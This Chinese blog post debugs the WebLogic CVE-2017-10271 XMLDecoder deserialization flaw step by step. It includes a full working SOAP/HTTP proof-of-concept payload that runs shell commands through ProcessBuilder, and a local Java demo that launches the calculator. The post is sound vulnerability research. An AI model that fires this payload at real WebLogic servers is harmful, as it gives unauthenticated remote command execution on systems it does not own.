weblogic cve-2017-10271 反序列化详细调试

使用cve-2017-10271的poc打,看回显包

POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: 192.168.99.37:7001
Content-Type: text/xml
Content-Length: 987

<?xml version="1.0"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.8.0_131" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>id</string>
                        </void>
                    </array>
                    <void method="start" />
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body />
</soapenv:Envelope>

返回包
在这里插入图片描述

从返回信息中可查看出栈的调用链为
从最后的readObject()往回追踪得到调用链
readObject() —> readUTF() —> readEntry() —> receiveRequest() —> receiveRequest() —> receive() —-> readHeaderOld() —> processRequest() —> __doRun() —> _doRun() —>_doRun() —> doRun() —> runSync() —-> process() —> handle() —> handle()[weblogic.wsee.jaxws.WlsServletAdapter]
的handle方法
下断点,根据之前搭建的环境及调用链情况,在weblogic.jar!.weblogic.wsee.jaxws.WlsServletAdapter的handle方法,即129行下断点
在这里插入图片描述
重放poc包,断到129行,慢慢跟入
在这里插入图片描述
因为也是第一次接触idea,这里简单讲下idea的结构,左下边显示当前的调用栈,可以看到在这之前都调用了哪些函数。右下边显示当前的变量信息,上面是调试方法,依次是步过,步入(用户定义函数) ,强制步入(用户及系统定义函数),跳出,强制跳出当前函数体
这里我们是post方法,直接步过,到super.handler()函数,强制步入
进入到
com.sun.xml.ws.transport.http.servlet.ServletAdapter的handle函数
在这里插入图片描述
进入该
com.sun.xml.ws.transport.http.httpAdapter handle()

在这里插入图片描述
定义httptoolkit,并调用handle方法,步入
这里httptoolkit看起来像是对请求包的封装,并传入handle
在这里插入图片描述
decodePacket()解包获取Content-Type值【ct】 —>getvalue() —> decode()解析xml包
在这里插入图片描述
进入到
Decode() 这里对content-type进行了检查,当为text/xml才会进入
xmlsoapCodec.decode()进行post的包内容进行xml解析
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Iscontenttypesupported()判断是否为text/xml,若是才会返回true
到这里httpAdapter.this.decodePacket()的主要功能就是判断content-type是否为text/xml,并对包进行xml解析取值,之后,进入this.head.process(),可以看到上面poc打出的调用栈,说明跟到这一步是正确的

在这里插入图片描述
跟进

Process() —> runSync(this.tube,request) request即我们之前解析到的请求包—-> doRun() —> _doRun() —> __doRun()

在这里插入图片描述
在这里插入图片描述
this.next.processRequest() 到这里一直持续循环next,并调用this.next的processRequest()方法
在这里插入图片描述
在这里插入图片描述
查看this.next值,根据前面栈调用的processRequest(),该方法应该在WorkContextServerTube类里面,这个类才是触发漏洞的类,继续调试,关注this.next的值的变化
在这里插入图片描述
几次循环下来,终于到了WorkContextServerTube类
在这里插入图片描述
在这里插入图片描述
跟进该函数,可以看到,var2为请求包内容,var3获取WORK_AREA_HEADER结构体头,即work:WorkContext,若不为空,继续跟进,进入readHeadOld(var3)
在这里插入图片描述
readHeaderOld() 通过ByeteArrayOutputStream读取内存缓存区的字节数组,即将中数据读取出来并保存在WorkContextXmlInputAdapter类中var6,而WorkContextXmlInputAdapter属于xmlDecoder类,我们知道这个漏洞最后触发的点就是xmldecode.readObject(),继续,接下来进入receive(var6)
在这里插入图片描述
在这里插入图片描述
Receive() —> receiveRequest() —> reveiveRequest() —> readEntry() —> readUTF() —> xmldecoder.readObject() 最终终于触发readObject(),在这之前均未对内容做任何过滤,从而导致命令执行
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
至于为什么xmldecoder.readobject()为什么会执行命令,大家可以自己跟入进去查看详细的解析情况,这里大家可以简单理解成xmldecoder.readobject() == system()可以执行系统命令,只不过里面的参数内容有特定格式,这里以小demo进行测试

1.xml 其中内容也是我们上面的poc内容

<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
        <void index="0">
            <string>/bin/bash</string>
        </void>
        <void index="1">
            <string>-c</string>
        </void>
        <void index="2">
            <string>open /Applications/Calculator.app</string>
        </void>
    </array>
    <void method="start" />
</void>
</java>

test3.java

import java.beans.XMLDecoder;
import java.io.*;
public class test3{
    public static void main(String[] args) throws FileNotFoundException{
        String filename = "/Users/sojrs/Desktop/java/src/test/1.xml";
        XMLDecoder XD =new XMLDecoder(new FileInputStream(filename));
        Object o = XD.readObject();
        System.out.println(o);
    }
}

读取1.xml内容,并调用xmldecoder.readobject()解析,可弹出计算器

参考链接

cve-2017-10271调试

xmldecoder.readObject()详细分析

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章